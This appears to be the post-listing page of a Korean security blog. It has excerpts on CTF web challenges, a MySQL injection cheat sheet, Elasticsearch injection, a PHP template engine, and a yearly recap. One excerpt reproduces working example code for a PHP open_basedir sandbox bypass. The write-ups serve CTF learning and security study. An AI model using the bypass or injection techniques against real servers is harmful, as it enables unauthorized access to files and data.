| by munsiwoo | 1 comment

Hello 2021

블로그를 거의 1년 동안 방치하다 정말 오랜만에 올린다. 그동안 저장 겸 비밀 글로는 많이 올렸는데 notion 사용하면서 그마저도 안 하게 된 듯.. notion 짱~ 지난해 Timeline 2020.01. ~ 2020.03. 졸업하고 거의 한 달은 집에서 놀았다. 교정도 하고, 면허도 따고, 영어 회화도 시작하고, 버그바운티도 하고.. 등등 회사 들어가기 전에 할 수 있는 건 다 한다는 마인드! […]

Read More
| by munsiwoo | 29 comments

2019 Christmas CTF Platform

tl;dr 1. 재작년 초에 만들어서 얼마 전 Christmas CTF까지 수정해서 사용했던 플랫폼 소스를 공개함 2. 소스는 https://github.com/munsiwoo/christmas-ctf-platform 3. 이 글에서는 다이나믹 랭킹 이슈와 앞으로의 방향 정리 다이나믹 랭킹 이슈 Christmas CTF 운영 당시 랭킹 페이지에서 이슈 하나가 있었는데 지금은 랭킹을 쿼리 한번으로 가져와 보여주지만 이전 구현 방식은 임시 테이블을 하나 생성하고 PHP로 팀당 점수를 계산한 […]

Read More
| by munsiwoo | 1 comment

SQL Injection Techniques (MySQL)

MySQL Injection에서 사용할 수 있는 문법, 테크닉을 정리해본 글입니다. 본 문서는 지속적으로 업데이트됩니다. Comparison operators, functions select ‘admin’=’admin’; # True select ‘admin'<=>’admin’; # True (<=>는 NULL도 비교할 수 있음) select ‘admin’!=’admin’; # False select ‘admin'<>’admin’; # False (!=랑 똑같음) select ‘admin'<‘admin’; # False select ‘admin'<‘bdmin’; # True select (3,4) in ((1,2), (3,4)); # True select […]

Read More
| by munsiwoo | 19 comments

19Cyberoc 본선: Hidden Service Write up

2019 사이버작전 경연대회 본선에 나왔던 Hidden Service라는 웹 문제다. PHP 세션 핸들링 과정에서 읽고 쓰는 핸들러가 다를 때 발생하는 Insecure deserialization 취약점을 통해 플래그를 얻는 문제였는데, 아이디어가 재밌어서 글로 남겨본다. 일반부/청소년부 같은 문제로 이름만 다르게 나왔다. (Secret Service, Hidden Service) 1. 소스를 얻어보자 (Source code leaks) 첨부 파일로 준 index.php를 읽다보면 file inclusion 취약점을 발견할 […]

Read More
| by munsiwoo | No comments

PHP Template engine : Mun template

조건문과 반복문, 변수 출력, 변수 전달 등 최소한의 기능만 파싱해서 eval로 넘겨주는 PHP 템플릿 엔진을 만들어보았다. 엄청 단순해서 엔진이라 하기도 뭐하지만.. Smarty나 Twig를 사용하지 않고 직접 만들어서 사용하는 이유는 하나부터 열까지 직접 만들어보는 PHP프레임워크에 적용하기 위해서다. https://github.com/munsiwoo/mun-template Preview <!DOCTYPE html> <html> <head> <title>Mun Template</title> </head> <body> <h1>Mun Template</h1> <p>Mun Template is Simple PHP Template engine.</p> […]

Read More
| by munsiwoo | 2 comments

2019 선린 해킹방어대회 웹 문제

매년 CodeRed에서 선린인터넷고 해킹방어대회를 주관하는데, 작년에 이어 올해도 문제 출제를 맡게 되어서 웹 해킹 문제 3개를 만들었다. 문제 모두 소스코드를 제공해주는 화이트박스 문제였고 난이도는 대체로 쉽게 만들려고 노력했다. jjang9 (PHP) 이 문제는 PHP file system bug와 file inclusion 취약점을 섞어서 낸 문제다. PHP file system bug에 관한 발표 자료는 코드게이트 발표 후기 글에 공유 해놨다. […]

Read More
| by munsiwoo | 12 comments

Awesome PHP open_basedir bypass

@Blaklis_ 트윗에 open_basedir를 우회하는 새로운 방법이 올라왔다. Here is an awesome PHP open_basedir bypass by @Blaklis_ You are open_basedir’ed to /var/www/html Change into a sub-directory. ini_set(‘open_basedir’, ‘..’) chdir(‘..’);chdir(‘..’);chdir(‘..’);…. ini_set(‘open_basedir’,’/’) open_basedir is now set to /, enjoy Example code <?php ini_set(‘open_basedir’, ‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); ini_set(‘open_basedir’, ‘/’); 원문 : […]

Read More
| by munsiwoo | No comments

[ASIS CTF/Dead engine] Elasticsearch Injection

요약 ASIS CTF의 Dead engine이라는 웹 문제다. Elasticsearch를 사용하고 있는 사이트에서 NoSQL Injection을 통해 플래그를 얻는 문제였다. Elasticsearch 환경은 처음이라 열심히 검색하면서 풀었는데 복습 겸 간단히 풀이만 적어본다. 풀이 우선 q, endpoint 이렇게 2개의 입력을 받아서 내부 검색 엔진으로 요청해주는 구조였다. 입력: q=abcd&endpoint=/articles/_search 내부 요청: http://localhost:9300/articles/_search?q=abcd 이렇게 http://localhost:9300{endpoint}?q={q} 각각 입력이 들어간다. endpoint를 조작하면 맘대로 검색 […]

Read More